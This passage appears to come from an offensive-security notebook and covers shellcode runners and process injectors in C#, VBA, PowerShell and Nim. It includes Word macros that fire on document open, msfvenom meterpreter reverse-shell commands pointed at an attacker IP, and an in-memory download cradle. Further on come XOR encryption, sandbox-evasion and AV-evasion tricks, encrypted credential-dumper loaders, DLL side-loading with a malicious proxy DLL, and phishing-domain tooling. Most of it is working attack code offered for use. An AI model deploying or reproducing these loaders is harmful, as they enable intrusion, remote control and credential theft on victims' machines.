0x31,0x33,...,0x33,0x37 };

// XOR-decrypt the shellcode


for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');
}

int bufLength = buf.Length;


UInt32 uBufLength = (UInt32)bufLength;

// Get handle on a local process


IntPtr hLocalProcess = Process.GetCurrentProcess().Handle;

// Get handle on a remote process (by name)


string processName = args[0];
Process[] pList = Process.GetProcessesByName(processName);
if (pList.Length == 0)
{
Console.WriteLine("[-] No such process");
return;
}
int processId = pList.First().Id;
IntPtr hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, processId);
if (hRemoteProcess == IntPtr.Zero)
{
Console.WriteLine("[-] Failed to open remote process");
return;
}

// Create RWX memory section for the shellcode


IntPtr hSection = new IntPtr();
if (NtCreateSection(ref hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_M
{
Console.WriteLine("[-] Falied to create a section for the shellcode");
return;
}

// Map the view of created section into the LOCAL process's virtual address space
IntPtr baseAddressL = new IntPtr();
ulong sectionOffsetL = new ulong();
if (NtMapViewOfSection(hSection, hLocalProcess, ref baseAddressL, UIntPtr.Zero, UI
{
Console.WriteLine("[-] Falied to map the view into local process's space");
return;
}

// Map the view of (the same) created section into the REMOTE process's virtual ad
IntPtr baseAddressR = new IntPtr();
ulong sectionOffsetR = new ulong();
if (NtMapViewOfSection(hSection, hRemoteProcess, ref baseAddressR, UIntPtr.Zero, U
{
Console.WriteLine("[-] Falied to map the view into remote process's space");
return;
}

// Copy the shellcode into the locally mapped view which will be reflected on the
Marshal.Copy(buf, 0, baseAddressL, bufLength);

// BEGIN DEBUG (check if the shellcode was copied correctly)


byte[] remoteMemory = new byte[bufLength];
IntPtr bytesRead = new IntPtr();
ReadProcessMemory(hRemoteProcess, baseAddressR, remoteMemory, remoteMemory.Length
if (!CompareByteArray(buf, remoteMemory))
{
Console.WriteLine("[-] DEBUG: Shellcode bytes read from remotely mapped view d
return;
}
// END DEBUG

// Execute the shellcode in a remote thread (also can be done with CreateRemoteThr
//CreateRemoteThread(hRemoteProcess, IntPtr.Zero, 0, baseAddressR, IntPtr.Zero, 0
IntPtr threadHandle = new IntPtr();
if (RtlCreateUserThread(hRemoteProcess, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr
{
Console.WriteLine("[-] Failed to create a remote thread");
return;
}

Console.WriteLine($"[+] Successfully injected shellcode into remote process ({proc

// Clean up
NtUnmapViewOfSection(hLocalProcess, baseAddressL);
NtClose(hSection);
}
}
}

Tools

PSInject

https://github.com/EmpireProject/PSInject

PS > Invoke-PSInject -ProcId <PID> -PoshCode <BASE64_CMD>

Shellcode Runners
Inject shellcode into current process's virtual address space

VBA
An explanation how to map C types to appropriate VBA types manually.

With this approach the shell lives until Word is not closed (no WaitForSingleObject ):

ShellcodeRunner.vba
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVa
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr,
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long

Sub Document_Open()
ShellcodeRunner
End Sub

Sub AutoOpen()
ShellcodeRunner
End Sub

Function ShellcodeRunner()
Dim buf As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date

' Check if we're in a sandbox by calling a rare-emulated API


If IsNull(FlsAlloc(tmp)) Then
Exit Function
End If

' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sle
dream = Int((1500 * Rnd) + 2000)
before = Now()
Sleep (dream)
If DateDiff("s", t, Now()) < dream Then
Exit Function
End If

' msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread


buf = Array(31, 33, ..., 33, 37)

' XOR-decrypt the shellcode


For i = 0 To UBound(buf)
buf(i) = buf(i) Xor Asc("a")
Next i

' &H3000 = 0x3000 = MEM_COMMIT | MEM_RESERVE


' &H40 = 0x40 = PAGE_EXECUTE_READWRITE
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

For counter = LBound(buf) To UBound(buf)


data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter

res = CreateThread(0, 0, addr, 0, 0, 0)


End Function

PowerShell

Using Add-Type and C#


C data types to C# data types "translation" can be done with P/Invoke APIs (Platform Invocation Services) at
www.pinvoke.net (e.g., VirtualAlloc).

ShellcodeRunnerv1.ps1
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {


[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationT

[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntP

[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@

Add-Type $Win32

[Byte[]] $buf = 0x31,0x33,...,0x33,0x37


$size = $buf.Length
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f
[IntPtr]$addr = [Win32]::VirtualAlloc(0, $size, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle = [Win32]::CreateThread(0, 0, $addr, 0, 0, 0)
[Win32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

Reflectively using DelegateType (in Memory)

https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Shellcode%20Process%20Injector/Shellcode%20Process%20Injector.ps1

What's going on here:

1. lookupFunc 👉🏻 to obtain a reference to the System.dll assembly's GetModuleHandle and


GetProcAddress methods using GetType and GetMethod functions (aka the Reflection
technique).

2. getDelegateType 👉🏻 to define the argument types for the APIs using a delegate type via Reflection
and return it.
3. VirtualAlloc 👉🏻 to allocate writable, readable, and executable (unmanaged) memory space in
virtual address space of the calling process.
4. Copy 👉🏻 to copy the shellcode bytes into allocated memory location.

5. CreateThread 👉🏻 to create a new execution thread in the calling process and execute the shellcode.

6. WaitForSingleObject 👉🏻 to delay termination of the PowerShell script until the shell fully executes.
ShellcodeRunnerv2.ps1
function lookupFunc {
Param ($moduleName, $funcName)

$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_


$tmp = @()
$assem.GetMethods() | % {If($_.Name -eq "GetProcAddress") {$tmp += $_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($modu
}

function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)

# Building a DelegateType (doing it manually to avoid usage of Add-Type)


## create a custom assembly and define the module and type inside
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.Ass
## set up the constructor
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConv
## sets up the invoke method
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes)
## invoke the constructor and return the delegation type
return $type.CreateType()
}

# $VirtualAllocAddr = lookupFunc kernel32.dll VirtualAlloc


# $VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPt
# $VirtualAlloc =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($Virt
# $VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc k
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f
[Byte[]] $buf = 0x31,0x33,...,0x33,0x37
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.d

In order to run x64 shellcode from a 32-bit application (e.g., MS Word), you may want to specify
the path to 64-bit PowerShell binary through Sysnative alias.

C#
C# DLL to Jscript

https://github.com/tyranid/DotNetToJScript

TestClass.cs
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, ui

[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpSt

[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

public TestClass()
{
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f cs
byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);


Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}

public void RunProcess(string path)


{
Process.Start(path);
}
}

Compile to Jscript with DotNetToJScript.exe:

Cmd > .\DotNetToJScript.exe .\ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js

SharpShooter

https://github.com/mdsecactivebreach/SharpShooter
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f raw -o met
$ python SharpShooter.py --dotnetver 4 --stageless --rawscfile met.bin --payload js --output e

This tool can efficiently be used with HTML Smuggling technique.

HTML Smuggling

C# DLL with PowerShell Cradle (in Memory)

https://www.purpl3f0xsecur1ty.tech/2021/03/30/av_evasion.html

https://github.com/smokeme/payloadGenerator

ShellcodeRunner.cs

using System;
using System.Runtime.InteropServices;

namespace ShellcodeRunner
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType

[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr

[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize

[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();

public static void Run()


{
// Check if we're in a sandbox by calling a rare-emulated API
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) =
{
return;
}
// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)rand.Next(10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = DateTime.Now;
Sleep(dream);
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
{
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
return;
}

// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 E


byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

// XOR-decrypt the shellcode


for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');

IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);


Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}

Compile to DLL and load with PowerShell from memory:

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.13.37/ShellcodeRunner.dll


$assem = [System.Reflection.Assembly]::Load($data)

$class = $assem.GetType("ShellcodeRunner.Program")
[$bindingFlags= [Reflection.BindingFlags] "NonPublic,Static"]
$method = $class.GetMethod("Run", [$bindingFlags])
$method.Invoke(0, $null)
Or
$a = [ShellcodeRunner.Program]::Run()

Shellcode Encoders/Encryptors

https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/ROT%20Shellcode%20Encoder/Program.cs
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/XOR%20Shellcode%20Encoder/Program.cs
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Linux%20Shellcode%20Encoder/shellcodeCrypter.py

Shellcode XOR-encrypt helper for VBA:

XOREncrypt.py
import ast
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f
buf = """buf = Array(31,33,...,33,37)"""
buf = buf[11:]
buf = buf.replace(' _\n', '')
buf = ast.literal_eval(buf)
enc = [b ^ ord('a') for b in buf]
enc = str(enc).replace('[', '').replace(']', '')

parts, chunk = [], ''


for c in enc:

chunk += c
if len(chunk) > 200 and c == ',':
parts.append(chunk.strip())
chunk = ''
parts.append(chunk)

enc = ' _\r\n'.join(parts)


enc = f'buf = Array({enc})'
print(enc)

PowerShell XOR-encrypt helper for VBA with WMI de-chain:

PS-XOREncrypt-HEX.ps1
$payload = "powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http
[string]$output = ""
$payload.ToCharArray() | % {
[string]$thischar = [byte][char]$_ -bxor [byte]'a'
if($thischar.Length -eq 1) {
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2) {
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3) {
$output += $thischar
}
}
$output | clip
PS-XOREncrypt-HEX.py
payload = r"powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http
output = ''.join([str(ord(c) ^ ord('a')).zfill(3) for c in payload])
print(output)

Shellcode XOR-encrypt helper for C# (msfvenom-like output style):

XOREncrypt.cs
using System;
using System.Text;

namespace XOREncrypt
{
class Program
{
static void Main(string[] args)
{

// msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITF


byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

// XOR-encrypt the shellcode


for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');
}

StringBuilder hex = new StringBuilder(buf.Length * 2);


//foreach (byte b in buf)
for (int i = 0; i < buf.Length; i++)
{
if (i != buf.Length - 1)
{
hex.AppendFormat("0x{0:x2},", buf[i]);
}
else // no "," for the last line
{
hex.AppendFormat("0x{0:x2}", buf[i]);
}
if ((i + 1) % 15 == 0)
{
hex.AppendLine();
}
}

Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex.ToString()} }};")


}
}
}
D/Invoke
Dynamic API Invocation

https://dinvoke.net/

https://thewover.github.io/Dynamic-Invoke/

https://github.com/TheWover/DInvoke

https://web.archive.org/web/20210601171512/https://rastamouse.me/blog/process-injection-dinvoke/

https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/Dinvoke_CreateRemoteThread.cs
https://blog.nviso.eu/2020/11/20/dynamic-invocation-in-net-to-bypass-hooks/

https://offensivedefence.co.uk/posts/dinvoke-syscalls/

Dynamic P/Invoke

https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/

Run PE From Memory

https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/PE_Loader_DInvoke_ManualMap.cs

DInvokePE.cs
using System;
using System.IO;
using System.IO.Compression;

namespace DInvokePE
{
public class Program
{
static byte[] Compress(byte[] data)
{
MemoryStream output = new MemoryStream();
using (DeflateStream dStream = new DeflateStream(output, CompressionLevel.Optimal)
dStream.Write(data, 0, data.Length);

return output.ToArray();
}
static
{ byte[] Decompress(byte[] data)

MemoryStream input = new MemoryStream(data);


MemoryStream output = new MemoryStream();
using (DeflateStream dStream = new DeflateStream(input, CompressionMode.Decompress
dStream.CopyTo(output);

return output.ToArray();
}

public static void Main(string[] args)


{
/*
var rawBytes = File.ReadAllBytes(@"C:\Users\snovvcrash\Desktop\mimikatz.exe");
var compressed = Compress(rawBytes);
var compressedB64 = Convert.ToBase64String(compressed);
*/

var compressed = Convert.FromBase64String("");


var rawBytes = Decompress(compressed);
DInvoke.Data.PE.PE_MANUAL_MAP map = DInvoke.ManualMap.Map.MapModuleToMemory(rawByt
DInvoke.DynamicInvoke.Generic.CallMappedPEModule(map.PEINFO, map.ModuleBase);
Console.ReadLine();
}
}
}

Nim

https://github.com/byt3bl33d3r/OffensiveNim

https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/
https://github.com/S3cur3Th1sSh1t/Creds/tree/master/nim
https://github.com/ajpc500/NimExamples
https://huskyhacks.dev/2021/07/17/nim-exploit-dev/
https://casvancooten.com/posts/2021/08/building-a-c2-implant-in-nim-considerations-and-lessons-
learned/

Install
Windows:

https://nim-lang.org/install_windows.html
https://git-scm.com/download/win
Linux:

$ sudo apt install mingw-w64 -y


$ sudo apt install nim -y
Or
$ curl https://nim-lang.org/choosenim/init.sh -sSf | sh

Dependencies:

Nim > nimble install winim nimcrypto zippy

Compilation
Basic:

Nim > nim c program.nim

To not popup the console window:

Nim > nim c --app:gui program.nim

For the best size:

Nim > nim c -d:danger -d:strip --opt:size --passC=-flto --passL=-flto program.nim

For Windows on Linux:

$ nim c --cpu:amd64 --os:windows --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-m

Add the needed relocation section to the resulting executable (from Windows):

Nim > nim c --passL:-Wl,--dynamicbase,--export-all-symbols program.nim

Inject Shellcode

NimlineWhispers

https://ajpc500.github.io/nim/Shellcode-Injection-using-Nim-and-Syscalls/
https://github.com/ajpc500/NimlineWhispers
https://github.com/snovvcrash/NimlineWhispers

How-to:

1. Generate a nim header with syscalls definitions (function names randomized): python3
NimlineWhispers.py --randomise .

2. Modify shellcode_bin.nim template to fit new function names.

3. Generate a shellcode of your choice, put it into the template and compile the binary: nim c -
d=mingw --app=console --cpu=amd64 shellcode_bin.nim .

Encrypted

https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypt_shellcode.nim
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypted_shellcode_loader_syscalls.nim

# Generate a shellcode
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.16.18 LPORT=443 -e x64/xor -
# Copy the shellcode into the 1st template and compile
$ nim c encrypt_shellcode.nim
# Encrypt the shellcode and write contents into a file
$ ./encrypt_shellcode 'Passw0rd!' b64.txt
# Copy encrypted shellcode into the 2nd template and compile
$ cat b64.txt | xclip -i -sel c
$ nim c --cpu:amd64 --os:windows --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-m

Execute C# Assemblies

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/helpers/CSharpToNimByteArray.ps1
https://github.com/snovvcrash/Creds/blob/master/helpers/CSharpToNimByteArray.ps1

$ pwsh -exec bypass


PS > . ./CSharpToNimByteArray.ps1
PS > CSharpToNimByteArray -inputfile csharp.exe
Nim > nim c --passL:-Wl,--dynamicbase,--export-all-symbols execute_assembly_bin.nim

Encrypted

https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypt_assembly.nim
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypted_assembly_loader.nim
$ nim c encrypt_assembly.nim
$ nim c --cpu:amd64 --os:windows --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-m
$ ./encrypt_assembly 'Passw0rd!' SharpKatz.exe b64.txt
Cmd > .\encrypted_assembly_loader.exe Passw0rd! b64.txt --Command logonpasswords

Tools & Packers

https://github.com/S3cur3Th1sSh1t/Nim-RunPE

https://github.com/S3cur3Th1sSh1t/NimGetSyscallStub

https://github.com/chvancooten/NimPackt-v1
https://github.com/icyguider/Nimcrypt2

https://github.com/adamsvoboda/nim-loader

Sandbox Evasion

https://github.com/Arvanaghi/CheckPlease
https://github.com/LordNoteworthy/al-khaser
https://0xpat.github.io/Malware_development_part_2/

Code Snippets
Check if a machine a domain-joined (sandbox evasion):

is_domain_joined.py
// cl.exe is_domain_joined.cpp netapi32.lib
#include <Windows.h>
#include <LM.h>
#include <iostream>

BOOL IsDomainJoined() {
auto joined = false;
LPWSTR lpNameBuffer = nullptr;
NETSETUP_JOIN_STATUS joinStatus = NETSETUP_JOIN_STATUS::NetSetupUnknownStatus;

NET_API_STATUS status = NetGetJoinInformation(nullptr, &lpNameBuffer, &joinStatus);


if (status == NERR_Success)
joined = joinStatus == NETSETUP_JOIN_STATUS::NetSetupDomainName;
if (lpNameBuffer)
NetApiBufferFree(lpNameBuffer);

return joined;
}

int main()
{
std::cout << (!IsDomainJoined() ? "No dynamic analysis 4 U" : "Hack the Planet!") << std:
}

Shellcodes

https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-
shellcode-in-c

Syscalls

https://alice.climent-pommeret.red/posts/a-syscall-journey-in-the-windows-kernel/
https://jhalon.github.io/utilizing-syscalls-in-csharp-1/
https://jhalon.github.io/utilizing-syscalls-in-csharp-2/

https://github.com/jhalon/SharpCall
https://www.solomonsklash.io/syscalls-for-shellcode-injection.html

https://jmpesp.me/malware-analysis-syscalls-example/
https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/
https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/

Windows API

https://yuval0x92.wordpress.com/2020/03/09/native-api-win32-api/
https://github.com/EspressoCake/NativeFunctionStaticMap/blob/main/Native_API_Resolve.pdf
https://github.com/LloydLabs/Windows-API-Hashing

https://github.com/MohitDabas/malwinx
https://fourcore.io/blogs/how-a-windows-process-is-created-part-1
https://fourcore.io/blogs/how-a-windows-process-is-created-part-2
SE
Social Engineering

Phishing

VPS Setup

https://github.com/n0pe-sled/Postfix-Server-Setup

Domains

https://zeltser.com/domain-name-variations-in-phishing/
https://dnstwist.it/
https://github.com/elceef/dnstwist

https://github.com/urbanadventurer/urlcrazy
https://0xpatrik.com/phishing-domains/

DLL Side-Loading

https://github.com/XForceIR/SideLoadHunter/tree/main/SideLoads

All About DLL Hijacking - My Favorite Persistence Method


Combining with ISO Packing

https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/

https://blog.sunggwanchoi.com/recreating-an-iso-payload-for-fun-and-no-profit/

https://github.com/ChoiSG/OneDriveUpdaterSideloading

Encrypt your payload:

enc.py
from os import urandom
from hashlib import sha256
from Crypto.Cipher import AES

KEY = urandom(16)

def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) %

def aesenc(plaintext, key):


cipher = AES.new(sha256(key).digest(), AES.MODE_CBC, 16 * '\x00')
return cipher.encrypt(bytes(pad(plaintext)))

with open('shellcode.bin', 'rb') as f:


plaintext = f.read()

print('key[] = { 0x' + ',0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')


with open('OneDrive.Update', 'wb') as f:
f.write(aesenc(plaintext, KEY))

Generate a proxy DLL with SharpDLLProxy:

Cmd > SharpDllProxy.exe --dll C:\Windows\System32\version.dll --payload OneDrive.Update


Cmd > move output_version\tmp1F94.dll C:\out\vresion.dll

Compile a malicious DLL (stolen from injectopi):

Source

dllmain.cpp
#include "pch.h"
#include
#include <stdlib.h>
<wincrypt.h>
#include <Windows.h>
#include <TlHelp32.h>
#include "CreateSection.h"

#pragma comment(lib, "ntdll")

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

// ...pragma export redirections from version_pragma.c...

void XOR(char* data, size_t data_len) {


const char key[] = "opzlxkncgtoqapweldg";

int j = 0;
for (int i = 0; i < data_len; i++) {
if (j == sizeof(key) - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

BOOL LoadNtdllFunctions() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");

char ZwOpenProcess_str[] = { 0x35,0x07,0x35,0x1c,0x1d,0x05,0x3e,0x11,0x08,0x17,


XOR((char*)ZwOpenProcess_str, 13);
ZwOpenProcess = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCL
if (ZwOpenProcess == NULL) return FALSE;

char ZwCreateSection_str[] = { 0x35,0x07,0x39,0x1e,0x1d,0x0a,0x1a,0x06,0x34,0x1


XOR((char*)ZwCreateSection_str, 15);
ZwCreateSection = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, P
if (ZwCreateSection == NULL) return FALSE;

char ZwMapViewOfSection_str[] = { 0x35,0x07,0x37,0x0d,0x08,0x3d,0x07,0x06,0x10,


XOR((char*)ZwMapViewOfSection_str, 18);
ZwMapViewOfSection = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_
if (ZwMapViewOfSection == NULL) return FALSE;

char ZwCreateThreadEx_str[] = { 0x35,0x07,0x39,0x1e,0x1d,0x0a,0x1a,0x06,0x33,0x


XOR((char*)ZwCreateThreadEx_str, 16);
ZwCreateThreadEx = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
if (ZwCreateThreadEx == NULL) return FALSE;

char ZwDelayExecution_str[] = { 0x35,0x07,0x3e,0x09,0x14,0x0a,0x17,0x26,0x1f,0x


XOR((char*)ZwDelayExecution_str, 16);
ZwDelayExecution = (NTSTATUS(NTAPI*)(BOOL, PLARGE_INTEGER))GetProcAddress(ntdll
if (ZwDelayExecution == NULL) return FALSE;

char ZwClose_str[] = { 0x35,0x07,0x39,0x00,0x17,0x18,0x0b };


XOR((char*)ZwClose_str, 7);
ZwClose = (NTSTATUS(NTAPI*)(HANDLE))GetProcAddress(ntdll, ZwClose_str);
if (ZwClose == NULL) return FALSE;

return TRUE;
}

HANDLE GetProcHandlebyName(const char* procName) {


PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
NTSTATUS status = NULL;
HANDLE hProc = 0;

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);


if (Process32First(snapshot, &entry)) {
do {
if (strcmp((entry.szExeFile), procName) == 0) {
